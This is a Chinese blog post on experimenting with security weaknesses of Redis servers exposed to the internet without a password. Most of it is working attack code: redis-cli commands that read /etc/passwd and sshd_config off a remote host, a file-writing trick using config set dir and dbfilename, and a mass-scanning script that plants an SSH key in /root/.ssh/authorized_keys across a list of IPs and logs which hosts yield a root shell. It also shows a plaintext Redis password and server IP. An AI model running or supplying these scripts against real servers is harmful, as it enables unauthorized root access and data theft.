redis的一些安全问题小实验

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qwertyupoiuytr/article/details/78754380

redis默认仅对127.0.0.1侦听,因此只有本地的redis客户端可以访问。但是如果redis服务希望提供公网访问,就需要向公网开放6379端口,这就存在一定的安全隐患,如果没有设置redis认证密码,则会导致很多安全隐患。

 

主要有两个隐患,首先通过远程的方式可以使用eval命令执行一些脚本,例如(如果没有认证的话就不需要-a了,这里面因为是咱自己的服务器,所以加了认证):

redis-cli--eval "$(cat /etc/passwd)" -h 40.125.214.92 -aqwertyuioplkjhgfdsazxcvbnm

 


redis-cli--eval "$(egrep -v '(^#|^$)' /etc/ssh/sshd_config)" -h 40.125.214.92-a qwertyuioplkjhgfdsazxcvbnm

 


或者例如下面的脚本:

#!/bin/sh

ip='40.125.214.92'

(echo -e "\n\n"; cat "hahaha"; echo -e "\n\n") > foo.txt

cat foo.txt | redis-cli -h $ip -a qwertyuioplkjhgfdsazxcvbnm -x set 1

redis-cli -h $ip -a qwertyuioplkjhgfdsazxcvbnm config set dir /var/tmp

redis-cli -h $ip -a qwertyuioplkjhgfdsazxcvbnm config set dbfilename "testfile"

redis-cli -h $ip -a qwertyuioplkjhgfdsazxcvbnm save

可以利用dbfile远程注入文件。

 

还有一个更复杂的远程注入脚本(网上找到的,参考https://ruby-china.org/topics/28094):

#!/bin/sh

if [ $# -eq 1  ]

then

  ip_list=$1

 

  ##create id_rsa

  echo "****************************************Create id_rsa file"

 

  expect -c "

    spawn ssh-keygen -t rsa -f id_rsa -C \"yyf\"

    expect {

        \"*passphrase): \" {

            exp_send \"\r\"

            exp_continue

        }

        \"*again: \" {

            exp_send \"\r\"

        }

        \"*y/n)? \" {

            exp_send \"n\r\"

        }

    }

    expect eof

  "

 

  echo "\n\n****************************************Attack Targets"

  touch noauth.txt runasroot.txt rootshell.txt haveauth.txt

  i=0

  cat $ip_list | while read ip

  do

    i=`expr $i + 1`;

    #write id_rsa.pub to remote

    echo "*****${i}***connect to remote ${ip} redis "

 

    expect -c "

      set timeout 3

      spawn redis-cli -h $ip config set dir /root/.ssh/

      expect {

        \"OK\"                        { exit 0 }

        \"ERR Changing directory: Permission denied\"         { exit 1 }

        timeout                       { exit 2 }

        \"(error) NOAUTH Authentication required\"         { exit 3 }

      }

    "

 

    case $? in

        0)  echo "run redis as root"

            echo $ip >> noauth.txt

            echo $ip >> runasroot.txt

        ;;

        1)  echo "not run redis as root\n\n\n"

            echo $ip >> noauth.txt

            continue

        ;;

        2)  echo "connect timeout\n\n\n"

            continue

        ;;

        3)  echo "Have Auth\n\n\n"

            echo $ip >> haveauth.txt

            continue

        ;;

    esac

 

    #(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

(echo -e "\n\n"; cat "hahaha"; echo -e "\n\n") > foo.txt

    cat foo.txt | redis-cli -h $ip -x set 1

    redis-cli -h $ip config set dir /root/.ssh/

    redis-cli -h $ip config set dbfilename "authorized_keys"

    redis-cli save

 

    #login test

    echo "#try to login"

    expect -c "

      set timeout 5

      spawn ssh -i id_rsa root@$ip echo \"yyf\"

      expect {

        \"*yes/no\"     { send \"yes\n\"}

 

        \"*password\"   { send \"\003\"; exit 1 }

        \"yyf\"         { exit 0 }

        timeout         { exit 2 }

      }

      exit 4

    "

 

    exitcode=$?

 

    if [ $exitcode -eq 0 ]

    then

      echo "---------------${ip} is get root shell"

      echo $ip >> rootshell.txt

    fi

 

    echo "\n\n\n"

  done

 

  echo "##########Final Count##########"

  wc -l $ip_list

  echo "----------"

  wc -l noauth.txt

  wc -l runasroot.txt

  wc -l rootshell.txt

  echo "----------"

  wc -l haveauth.txt

 

else

  echo "usage: ./redis.sh ip.txt"

fi

 

不过现在redis用户的权限已经很低了,所以远程注入的这种方式行不通了,原因是/root/.ssh这个目录不允许切换为redisdir了已经。

但是虽然不能注入,仍然会泄露一些信息,就比如刚开始利用cat命令输出系统文件的内容,这种情况也会为其他攻击手段提供信息。

猜你喜欢

转载自blog.csdn.net/qwertyupoiuytr/article/details/78754380
今日推荐